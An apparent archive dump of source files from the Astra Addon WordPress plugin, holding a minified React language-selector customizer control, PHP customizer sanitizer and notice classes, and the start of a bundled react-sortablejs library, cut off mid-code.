n=null!=arguments[t]?arguments[t]:{};t%2?w(Object(n),!0).forEach((function(t){l()(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):w(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var O=wp.i18n.__,S=wp.components,D=S.Button,C=S.SelectControl,_=function(e){var t=e.control.setting.get(),n={items:[{id:"gb",enabled:!0,url:"",label:O("English","astra-addon")}]},r=e.control.params.default?E(E({},n),e.control.params.default):n;t=t?E(E({},r),t):r;var i={group:"language_selector_group",options:[{label:O("Albanian","astra-addon"),value:"al"},{label:O("Arabic","astra-addon"),value:"sa"},{label:O("Bengali","astra-addon"),value:"bd"},{label:O("Bulgarian","astra-addon"),value:"bg"},{label:O("Chinese","astra-addon"),value:"cn"},{label:O("Croatian","astra-addon"),value:"hr"},{label:O("Czech","astra-addon"),value:"cz"},{label:O("English","astra-addon"),value:"gb"},{label:O("French","astra-addon"),value:"fr"},{label:O("German","astra-addon"),value:"de"},{label:O("Greek","astra-addon"),value:"gr"},{label:O("Hebrew","astra-addon"),value:"il"},{label:O("Hindi","astra-addon"),value:"in"},{label:O("Hungarian","astra-addon"),value:"hu"},{label:O("Icelandic","astra-addon"),value:"is"},{label:O("Indonesian","astra-addon"),value:"id"},{label:O("Italian","astra-addon"),value:"it"},{label:O("Japanese","astra-addon"),value:"jp"},{label:O("Korean","astra-addon"),value:"kr"},{label:O("Latvian","astra-addon"),value:"lv"},{label:O("Lithuanian","astra-addon"),value:"lt"},{label:O("Macedonian","astra-addon"),value:"mk"},{label:O("Malay","astra-addon"),value:"my"},{label:O("Maltese","astra-addon"),value:"mt"},{label:O("Mongolian","astra-addon"),value:"mn"},{label:O("Nepali","astra-addon"),value:"np"},{label:O("Dutch","astra-addon"),value:"nl"},{label:O("Norwegian Bokmål","astra-addon"),value:"no"},{label:O("Persian","astra-addon"),value:"ir"},{label:O("Polish","astra-addon"),value:"pl"},{label:O("Portuguese, Portugal","astra-addon"),value:"pt"},{label:O("Romanian","astra-addon"),value:"ro"},{label:O("Russian","astra-addon"),value:"ru"},{label:O("Serbian","astra-addon"),value:"rs"},{label:O("Slovak","astra-addon"),value:"sk"},{label:O("Slovenian","astra-addon"),value:"si"},{label:O("Somali","astra-addon"),value:"so"},{label:O("Spanish","astra-addon"),value:"es"},{label:O("Swedish","astra-addon"),value:"se"},{label:O("Tamil","astra-addon"),value:"lk"},{label:O("Thai","astra-addon"),value:"th"},{label:O("Turkish","astra-addon"),value:"tr"},{label:O("Ukrainian","astra-addon"),value:"ua"},{label:O("Urdu","astra-addon"),value:"pk"},{label:O("Uzbek","astra-addon"),value:"uz"},{label:O("Vietnamese","astra-addon"),value:"vn"},{label:O("Zulu","astra-addon"),value:"za"},{label:O("Other","astra-addon"),value:"zz-other"}].sort((function(e,t){return e.label<t.label?-1:e.label>t.label?1:0}))},l=e.control.params.input_attrs?E(E({},i),e.control.params.input_attrs):i,s=[];l.options.map((function(e){t.items.some((function(t){return t.id===e.value}))||s.push(e)}));var c=Object(d.useState)({value:t,isVisible:!1,control:void 0!==s[0]&&void 0!==s[0].value?s[0].value:""}),f=a()(c,2),p=f[0],h=f[1];Object(d.useEffect)((function(){h((function(t){return E(E({},t),{},{value:e.control.setting.get()})}))}),[e]);var v=function(t){e.control.setting.set(E(E(E({},e.control.setting.get()),t),{},{flag:!e.control.setting.get().flag}))},g=function(){var e,t=document.querySelectorAll(".ahfb-builder-area");for(e=0;e<t.length;++e)t[e].classList.remove("ahfb-dragging-dropzones")},m=function(e,t){var n=p.value,o=n.items.map((function(n,o){return t===o&&(n=E(E({},n),e)),n}));n.items=o,h((function(e){return E(E({},e),{},{value:n})})),v(n)},b=function(e,t){if(e===t)return!0;if(null==e||null==t)return!1;if(e.length!=t.length)return!1;for(var n=0;n<e.length;++n)if(e[n]!==t[n])return!1;return!0},w=void 0!==p.value&&null!=p.value.items&&null!=p.value.items.length&&p.value.items.length>0?p.value.items:[],S=[];w.length>0&&w.map((function(e){S.push({id:e.id})})),l.options.map((function(e){S.some((function(t){return t.id===e.value}))||s.push(e)}));return Object(o.createElement)("div",{className:"ahfb-control-field ahfb-sorter-items"},Object(o.createElement)("div",{className:"ahfb-sorter-row"},Object(o.createElement)(u.ReactSortable,{animation:100,onStart:function(){return g()},onEnd:function(){return g()},group:l.group,className:"ahfb-sorter-drop ahfb-sorter-sortable-panel ahfb-sorter-drop-".concat(l.group),handle:".ahfb-sorter-item-panel-header",list:S,setList:function(e){return t=e,n=p.value,o=n.items,r=[],t.length>0&&t.map((function(e){o.filter((function(t){t.id===e.id&&r.push(t)}))})),void(b(o,r)||(o.items=r,n.items=r,h((function(e){return E(E({},e),{},{value:n})})),v(n)));var t,n,o,r}},w.length>0&&w.map((function(e,t){return Object(o.createElement)(y,{removeItem:function(e){return t=e,n=p.value,o=n.items,r=[],o.length>0&&o.map((function(e,n){t!==n&&r.push(e)})),n.items=r,h((function(e){return E(E({},e),{},{value:n})})),void v(n);var t,n,o,r},toggleEnabled:function(e,t){return function(e,t){m({enabled:e},t)}(e,t)},onChangeLabel:function(e,t){return function(e,t){m({label:e},t)}(e,t)},onChangeURL:function(e,t){return function(e,t){m({url:e},t)}(e,t)},key:e.id,index:t,item:e,controlParams:l})})))),void 0!==s[0]&&void 0!==s[0].value&&Object(o.createElement)("div",{className:"ahfb-language-selector-add-area"},Object(o.createElement)(C,{value:p.control,options:s,onChange:function(e){h((function(t){return E(E({},t),{},{control:e})}))}}),Object(o.createElement)(D,{className:"ahfb-sorter-add-item",isPrimary:!0,onClick:function(){!function(){var e=p.control;if(h((function(e){return E(E({},e),{},{isVisible:!1})})),e){var t=p.value,n=t.items,o=l.options.filter((function(t){return t.value===e})),r={id:e,enabled:!0,url:"",label:o[0].label};n.push(r),t.items=n;var a=[];l.options.map((function(e){n.some((function(t){return t.id===e.value}))||a.push(e)})),h((function(e){return E(E({},e),{},{control:void 0!==a[0]&&void 0!==a[0].value?a[0].value:""})})),h((function(e){return E(E({},e),{},{value:t})})),v(t)}}()}},O("Add Language","astra-addon"))))};_.propTypes={control:c.a.object.isRequired};var x=_,P=wp.customize.Control.extend({renderContent:function(){ReactDOM.render(Object(o.createElement)(x,{control:this}),this.container[0])}});wp.customize.controlConstructor["ast-language-selector"]=P}]); customizer/class-astra-addon-customizer.php 0000666 00000017654 15165730730 0015213 0 ustar 00 <?php /** * Astra Addon Customizer * * @package Astra Addon * @since 1.0.0 */ if ( ! class_exists( 'Astra_Addon_Customizer' ) ) : /** * Astra_Addon_Customizer * * @since 1.0.0 */ class Astra_Addon_Customizer { /** * Instance * * @since 1.0.0 * * @var object Class object. */ private static $instance; /** * Initiator * * @since 1.0.0 * * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 1.4.0 */ public function __construct() { add_action( 'customize_register', array( $this, 'customize_register' ) ); add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); add_action( 'customize_register', array( $this, 'customize_register_new' ), 3 ); } /** * Register custom section and panel. * * @since 1.0.0 * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public function customize_register_new( $wp_customize ) { require ASTRA_EXT_DIR . 'classes/customizer/class-astra-customizer-notices-configs.php'; } /** * Register custom section and panel. * * @since 1.0.0 * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public function customize_register( $wp_customize ) { // if Customizer Control base class exist. if ( class_exists( 'Astra_Customizer_Control_Base' ) ) { /** * Add Controls */ Astra_Customizer_Control_Base::add_control( 'ast-customizer-refresh', array( 'callback' => 'Astra_Control_Customizer_refresh', 'sanitize_callback' => '', ) ); } // Control Class files. require ASTRA_EXT_DIR . 'classes/customizer/controls/class-astra-control-customizer-refresh.php'; } /** * Sanitize Alpha color * * @param string $color setting input. * @return string setting input value. */ public static function sanitize_alpha_color( $color ) { if ( '' === $color ) { return ''; } if ( false === strpos( $color, 'rgba' ) ) { /* Hex sanitize */ return Astra_Customizer_Sanitizes::sanitize_hex_color( $color ); } /* rgba sanitize */ $color = str_replace( ' ', '', $color ); sscanf( $color, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha ); return 'rgba(' . $red . ',' . $green . ',' . $blue . ',' . $alpha . ')'; } /** * Sanitize background obj * * @param array $bg_obj Background object. * @return array Background object. */ public static function sanitize_background_obj( $bg_obj ) { if ( is_callable( 'Astra_Customizer_Sanitizes::sanitize_background_obj' ) ) { return Astra_Customizer_Sanitizes::sanitize_background_obj( $bg_obj ); } return $bg_obj; } /** * Sanitize Border * * @param array $border Background object. * @return array Background object. */ public static function sanitize_border( $border ) { if ( is_callable( 'Astra_Customizer_Sanitizes::sanitize_border' ) ) { return Astra_Customizer_Sanitizes::sanitize_border( $border ); } return $border; } /** * Sanitize Responsive Background Image * * @param array $bg_obj Background object. * @return array Background object. */ public static function sanitize_responsive_background( $bg_obj ) { if ( is_callable( 'Astra_Customizer_Sanitizes::sanitize_responsive_background' ) ) { return Astra_Customizer_Sanitizes::sanitize_responsive_background( $bg_obj ); } // Default Responsive Background Image. $defaults = array( 'desktop' => array( 'background-color' => '', 'background-image' => '', 'background-repeat' => 'repeat', 'background-position' => 'center center', 'background-size' => 'auto', 'background-attachment' => 'scroll', ), 'tablet' => array( 'background-color' => '', 'background-image' => '', 'background-repeat' => 'repeat', 'background-position' => 'center center', 'background-size' => 'auto', 'background-attachment' => 'scroll', ), 'mobile' => array( 'background-color' => '', 'background-image' => '', 'background-repeat' => 'repeat', 'background-position' => 'center center', 'background-size' => 'auto', 'background-attachment' => 'scroll', ), ); // Merge responsive background object and default object into $out_bg_obj array. $out_bg_obj = wp_parse_args( $bg_obj, $defaults ); foreach ( $out_bg_obj as $device => $bg ) { foreach ( $bg as $key => $value ) { if ( 'background-image' === $key ) { $out_bg_obj[ $device ] [ $key ] = esc_url_raw( $value ); } else { $out_bg_obj[ $device ] [ $key ] = esc_attr( $value ); } } } return $out_bg_obj; } /** * Sanitize Box Shadow control * * @since 3.3.0 * @param array|number $val Customizer setting input number. * @return array Return number. */ public static function sanitize_box_shadow( $val ) { $box_shadow = array( 'x' => '', 'y' => '', 'blur' => '', 'spread' => '', ); if ( is_array( $val ) ) { $box_shadow['x'] = is_numeric( $val['x'] ) ? $val['x'] : ''; $box_shadow['y'] = is_numeric( $val['y'] ) ? $val['y'] : ''; $box_shadow['blur'] = is_numeric( $val['blur'] ) ? $val['blur'] : ''; $box_shadow['spread'] = is_numeric( $val['spread'] ) ? $val['spread'] : ''; } return $box_shadow; } /** * Sanitize Responsive Color * * @param array $color_obj color object. * @return array color object. */ public static function sanitize_responsive_color( $color_obj ) { // Default Responsive Background Image. $defaults = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); // Merge responsive color object and default object into $out_color_obj array. $out_color_obj = wp_parse_args( $color_obj, $defaults ); foreach ( $out_color_obj as $device => $color ) { $out_color_obj[ $device ] = Astra_Customizer_Sanitizes::sanitize_alpha_color( $color ); } return $out_color_obj; } /** * Enqueue Admin Scripts * * @since 3.1.0 */ public function enqueue_scripts() { $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; $js_uri = ASTRA_EXT_URI . 'classes/customizer/assets/js/'; wp_enqueue_style( 'ast-ext-admin-settings', ASTRA_EXT_URI . 'admin/assets/css/customizer-controls.css', array(), ASTRA_EXT_VER ); if ( ! SCRIPT_DEBUG ) { // Enqueue Customizer script. $custom_controls_deps = array( 'jquery', 'customize-base', 'jquery-ui-tabs', 'jquery-ui-sortable', 'wp-i18n', 'wp-components', 'wp-element', 'wp-media-utils', 'wp-block-editor', ); wp_enqueue_script( 'astra-addon-custom-control-script', $js_uri . 'custom-controls.min.js', $custom_controls_deps, ASTRA_EXT_VER, true ); } else { // Enqueue Customizer React.JS script. $custom_controls_react_deps = array( 'astra-custom-control-plain-script', 'wp-i18n', 'wp-components', 'wp-element', 'wp-media-utils', 'wp-block-editor', ); wp_enqueue_script( 'astra-addon-custom-control-react-script', ASTRA_EXT_URI . 'classes/customizer/extend-controls/build/index.js', $custom_controls_react_deps, ASTRA_EXT_VER, true ); } } } /** * Initialize class object with 'get_instance()' method */ Astra_Addon_Customizer::get_instance(); endif; customizer/class-astra-customizer-notices-configs.php 0000666 00000017612 15165730730 0017212 0 ustar 00 <?php /** * Customizer Notices Class. * Display Relavant notices in the customizer panels and sections to improve UX. * * @package Astra Addon * @link https://www.brainstormforce.com * @since 1.4.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Customizer_Notices_Configs' ) ) : /** * The Customizer class. */ // @codingStandardsIgnoreStart class Astra_Customizer_Notices_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register General Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.4.3 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { // Add controls only if Advanced Hooks addon is active. if ( defined( 'ASTRA_ADVANCED_HOOKS_POST_TYPE' ) ) { $_configs = array(); if ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) { $_configs = array( /** * Notice for custom layout. */ array( 'name' => ASTRA_THEME_SETTINGS . '[ast-callback-notice-custom-layout]', 'type' => 'control', 'control' => 'ast-description', 'section' => 'section-header-builder-layout', 'priority' => 1, 'active_callback' => array( $this, 'is_custom_layout_header' ), 'help' => $this->get_help_text_notice( 'custom-header' ), ), ); } else { $_configs = array( /** * Notice for Above header created using custom layout. */ array( 'name' => ASTRA_THEME_SETTINGS . '[header-custom-layout-above-header]', 'type' => 'control', 'control' => 'ast-description', 'section' => 'section-above-header', 'priority' => 1, 'active_callback' => array( $this, 'is_custom_layout_header' ), 'help' => $this->get_help_text_notice( 'custom-header' ), ), /** * Notice for Below header created using custom layout. */ array( 'name' => ASTRA_THEME_SETTINGS . '[header-custom-layout-below-header]', 'type' => 'control', 'control' => 'ast-description', 'section' => 'section-below-header', 'priority' => 1, 'active_callback' => array( $this, 'is_custom_layout_header' ), 'help' => $this->get_help_text_notice( 'custom-header' ), ), /** * Notice for Primary header created using custom layout. */ array( 'name' => ASTRA_THEME_SETTINGS . '[header-custom-layout-header]', 'type' => 'control', 'control' => 'ast-description', 'section' => 'section-header', 'priority' => 1, 'active_callback' => array( $this, 'is_custom_layout_header' ), 'help' => $this->get_help_text_notice( 'custom-header' ), ), /** * Notice for Sticky header created using custom layout. */ array( 'name' => ASTRA_THEME_SETTINGS . '[header-custom-layout-sticky-header]', 'type' => 'control', 'control' => 'ast-description', 'section' => 'section-sticky-header', 'priority' => 1, 'active_callback' => array( $this, 'is_custom_layout_header' ), 'help' => $this->get_help_text_notice( 'custom-header' ), ), /** * Notice for Transparent header created using custom layout. */ array( 'name' => ASTRA_THEME_SETTINGS . '[header-custom-layout-transparent-header]', 'type' => 'control', 'control' => 'ast-description', 'section' => 'section-transparent-header', 'priority' => 1, 'active_callback' => array( $this, 'is_custom_layout_header' ), 'help' => $this->get_help_text_notice( 'custom-header' ), ), /** * Notice for Colors - Primary header created using custom layout. */ array( 'name' => ASTRA_THEME_SETTINGS . '[header-custom-color-primary-header]', 'type' => 'control', 'control' => 'ast-description', 'section' => 'section-colors-primary-menu', 'priority' => 1, 'active_callback' => array( $this, 'is_custom_layout_header' ), 'help' => $this->get_help_text_notice( 'custom-header' ), ), /** * Notice for Title & Tagline section when header is created using custom layout. */ array( 'name' => ASTRA_THEME_SETTINGS . '[header-custom-title_tagline]', 'type' => 'control', 'control' => 'ast-description', 'section' => 'title_tagline', 'priority' => 1, 'active_callback' => array( $this, 'is_custom_layout_header' ), 'help' => $this->get_help_text_notice( 'custom-header' ), ), ); } $configurations = array_merge( $configurations, $_configs ); } return $configurations; } /** * Help notice message to be displayed when the page that is being previewed has header built using Custom Layout. * * @since 1.4.0 * @param String $context Type of notice message to be returned. * @return String HTML Markup for the help notice. */ private function get_help_text_notice( $context ) { switch ( $context ) { case 'custom-header': $notice = '<div class="ast-customizer-notice wp-ui-highlight"><p>The header on the page you are previewing is built using Custom Layouts. Options given below will not work here.</p><p> <a href="' . $this->get_custom_layout_edit_link() . '" target="_blank">Click here</a> to modify the header on this page.<p></div>'; break; default: $notice = ''; break; } return $notice; } /** * Return post edit page url for Custom Layouts post type. * * @return String Admin URL for Custom Layouts post edit screen. */ private function get_custom_layout_edit_link() { return admin_url( 'edit.php?post_type=astra-advanced-hook' ); } /** * Decide if Notice for Header Built using Custom Layout should be displayed. * This runs teh target rules to check if the page neing previewed has a header built using Custom Layout. * * @return boolean True - If the notice should be displayed, False - If the notice should be hidden. */ public function is_custom_layout_header() { $option = array( 'location' => 'ast-advanced-hook-location', 'exclusion' => 'ast-advanced-hook-exclusion', 'users' => 'ast-advanced-hook-users', ); $advanced_hooks = Astra_Target_Rules_Fields::get_instance()->get_posts_by_conditions( ASTRA_ADVANCED_HOOKS_POST_TYPE, $option ); foreach ( $advanced_hooks as $post_id => $post_data ) { $custom_post_enable = get_post_meta( $post_id, 'ast-advanced-hook-enabled', true ); $layout = get_post_meta( $post_id, 'ast-advanced-hook-layout', false ); if ( isset( $layout[0] ) && 'header' === $layout[0] && 'no' !== $custom_post_enable ) { return true; } } return false; } } endif; new Astra_Customizer_Notices_Configs(); customizer/extend-controls/build/index.js 0000666 00000200113 15165730730 0014654 0 ustar 00 !function(e){var t={};function n(o){if(t[o])return t[o].exports;var r=t[o]={i:o,l:!1,exports:{}};return e[o].call(r.exports,r,r.exports,n),r.l=!0,r.exports}n.m=e,n.c=t,n.d=function(e,t,o){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:o})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var o=Object.create(null);if(n.r(o),Object.defineProperty(o,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)n.d(o,r,function(t){return e[t]}.bind(null,r));return o},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=16)}([function(e,t){!function(){e.exports=this.wp.element}()},function(e,t){!function(){e.exports=this.React}()},function(e,t,n){var o=n(6),r=n(7),a=n(8),i=n(10);e.exports=function(e,t){return o(e)||r(e,t)||a(e,t)||i()}},function(e,t){e.exports=function(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}},function(e,t,n){e.exports=n(11)()},function(e,t,n){var o=S(n(13)),r=n(1),a=r.Children,i=r.cloneElement,l=r.Component,s=r.createElement,c=r.createRef,u=S(n(14)),d=n(15),f=S(d);t.Sortable=f;var p=d.Direction;t.Direction=p;var h=d.DOMRect;t.DOMRect=h;var v=d.GroupOptions;t.GroupOptions=v;var g=d.MoveEvent;t.MoveEvent=g;var m=d.Options;t.Options=m;var b=d.PullResult;t.PullResult=b;var y=d.PutResult;t.PutResult=y;var w=d.SortableEvent;t.SortableEvent=w;var E=d.SortableOptions;t.SortableOptions=E;var O=d.Utils;function S(e){return e&&e.__esModule?e.default:e}function D(e){return function(e){if(Array.isArray(e))return C(e)}(e)||function(e){if("undefined"!=typeof Symbol&&Symbol.iterator in Object(e))return Array.from(e)}(e)||function(e,t){if(e){if("string"==typeof e)return C(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?C(e,t):void 0}}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function C(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,o=new Array(t);n<t;n++)o[n]=e[n];return o}function _(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function x(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?_(Object(n),!0).forEach((function(t){P(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):_(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function P(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function I(e){null!==e.parentElement&&e.parentElement.removeChild(e)}function T(e){e.forEach((function(e){return I(e.element)}))}function j(e){e.forEach((function(e){var t,n,o,r;t=e.parentElement,n=e.element,o=e.oldIndex,r=t.children[o]||null,t.insertBefore(n,r)}))}function M(e,t){var n=N(e),o={parentElement:e.from},r=[];switch(n){case"normal":r=[{element:e.item,newIndex:e.newIndex,oldIndex:e.oldIndex,parentElement:e.from}];break;case"swap":r=[x({element:e.item,oldIndex:e.oldIndex,newIndex:e.newIndex},o),x({element:e.swapItem,oldIndex:e.newIndex,newIndex:e.oldIndex},o)];break;case"multidrag":r=e.oldIndicies.map((function(t,n){return x({element:t.multiDragElement,oldIndex:t.index,newIndex:e.newIndicies[n].index},o)}))}return function(e,t){return e.map((function(e){return x(x({},e),{},{item:t[e.oldIndex]})})).sort((function(e,t){return e.oldIndex-t.oldIndex}))}(r,t)}function A(e,t){var n=D(t);return e.concat().reverse().forEach((function(e){return n.splice(e.oldIndex,1)})),n}function k(e,t,n,o){var r=D(t);return e.forEach((function(e){var t=o&&n&&o(e.item,n);r.splice(e.newIndex,0,t||e.item)})),r}function N(e){return e.oldIndicies&&e.oldIndicies.length>0?"multidrag":e.swapItem?"swap":"normal"}function R(e){return(R="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function L(e){return function(e){if(Array.isArray(e))return B(e)}(e)||function(e){if("undefined"!=typeof Symbol&&Symbol.iterator in Object(e))return Array.from(e)}(e)||function(e,t){if(e){if("string"==typeof e)return B(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?B(e,t):void 0}}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function B(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,o=new Array(t);n<t;n++)o[n]=e[n];return o}function X(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function Y(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?X(Object(n),!0).forEach((function(t){W(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):X(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function H(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}function U(e,t){return(U=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function F(e,t){return!t||"object"!==R(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function z(e){return(z=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function W(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}t.Utils=O;var K={dragging:null},G=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&U(e,t)}(d,l);var t,n,r=function(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,o=z(e);if(t){var r=z(this).constructor;n=Reflect.construct(o,arguments,r)}else n=o.apply(this,arguments);return F(this,n)}}(d);function d(e){var t;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,d),(t=r.call(this,e)).ref=c();var n=e.list.map((function(e){return Y(Y({},e),{},{chosen:!1,selected:!1})}));return e.setList(n,t.sortable,K),o(!e.plugins,'\nPlugins prop is no longer supported.\nInstead, mount it with "Sortable.mount(new MultiDrag())"\nPlease read the updated README.md at https://github.com/SortableJS/react-sortablejs.\n '),t}return t=d,(n=[{key:"componentDidMount",value:function(){if(null!==this.ref.current){var e=this.makeOptions();f.create(this.ref.current,e)}}},{key:"render",value:function(){var e=this.props,t=e.tag,n={style:e.style,className:e.className,id:e.id};return s(t&&null!==t?t:"div",Y({ref:this.ref},n),this.getChildren())}},{key:"getChildren",value:function(){var e=this.props,t=e.children,n=e.dataIdAttr,o=e.selectedClass,r=void 0===o?"sortable-selected":o,l=e.chosenClass,s=void 0===l?"sortable-chosen":l,c=(e.dragClass,e.fallbackClass,e.ghostClass,e.swapClass,e.filter),d=void 0===c?"sortable-filter":c,f=e.list;if(!t||null==t)return null;var p=n||"data-id";return a.map(t,(function(e,t){var n,o,a=f[t],l=e.props.className,c="string"==typeof d&&W({},d.replace(".",""),!!a.filtered),h=u(l,Y((W(n={},r,a.selected),W(n,s,a.chosen),n),c));return i(e,(W(o={},p,e.key),W(o,"className",h),o))}))}},{key:"makeOptions",value:function(){var e,t=this,n=((e=this.props).list,e.setList,e.children,e.tag,e.style,e.className,e.clone,e.onAdd,e.onChange,e.onChoose,e.onClone,e.onEnd,e.onFilter,e.onRemove,e.onSort,e.onStart,e.onUnchoose,e.onUpdate,e.onMove,e.onSpill,e.onSelect,e.onDeselect,function(e,t){if(null==e)return{};var n,o,r=function(e,t){if(null==e)return{};var n,o,r={},a=Object.keys(e);for(o=0;o<a.length;o++)n=a[o],t.indexOf(n)>=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(o=0;o<a.length;o++)n=a[o],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}(e,["list","setList","children","tag","style","className","clone","onAdd","onChange","onChoose","onClone","onEnd","onFilter","onRemove","onSort","onStart","onUnchoose","onUpdate","onMove","onSpill","onSelect","onDeselect"]));return["onAdd","onChoose","onDeselect","onEnd","onRemove","onSelect","onSpill","onStart","onUnchoose","onUpdate"].forEach((function(e){return n[e]=t.prepareOnHandlerPropAndDOM(e)})),["onChange","onClone","onFilter","onSort"].forEach((function(e){return n[e]=t.prepareOnHandlerProp(e)})),Y(Y({},n),{},{onMove:function(e,n){var o=t.props.onMove,r=e.willInsertAfter||-1;if(!o)return r;var a=o(e,n,t.sortable,K);return void 0!==a&&a}})}},{key:"prepareOnHandlerPropAndDOM",value:function(e){var t=this;return function(n){t.callOnHandlerProp(n,e),t[e](n)}}},{key:"prepareOnHandlerProp",value:function(e){var t=this;return function(n){t.callOnHandlerProp(n,e)}}},{key:"callOnHandlerProp",value:function(e,t){var n=this.props[t];n&&n(e,this.sortable,K)}},{key:"onAdd",value:function(e){var t=this.props,n=t.list,o=t.setList,r=t.clone,a=M(e,L(K.dragging.props.list));T(a),o(k(a,n,e,r).map((function(e){return Y(Y({},e),{},{selected:!1})})),this.sortable,K)}},{key:"onRemove",value:function(e){var t=this,n=this.props,r=n.list,a=n.setList,i=N(e),l=M(e,r);j(l);var s=L(r);if("clone"!==e.pullMode)s=A(l,s);else{var c=l;switch(i){case"multidrag":c=l.map((function(t,n){return Y(Y({},t),{},{element:e.clones[n]})}));break;case"normal":c=l.map((function(t){return Y(Y({},t),{},{element:e.clone})}));break;case"swap":default:o(!0,'mode "'.concat(i,'" cannot clone. Please remove "props.clone" from <ReactSortable/> when using the "').concat(i,'" plugin'))}T(c),l.forEach((function(n){var o=n.oldIndex,r=t.props.clone(n.item,e);s.splice(o,1,r)}))}a(s=s.map((function(e){return Y(Y({},e),{},{selected:!1})})),this.sortable,K)}},{key:"onUpdate",value:function(e){var t=this.props,n=t.list,o=t.setList,r=M(e,n);return T(r),j(r),o(function(e,t){return k(e,A(e,t))}(r,n),this.sortable,K)}},{key:"onStart",value:function(){K.dragging=this}},{key:"onEnd",value:function(){K.dragging=null}},{key:"onChoose",value:function(e){var t=this.props,n=t.list;(0,t.setList)(n.map((function(t,n){return 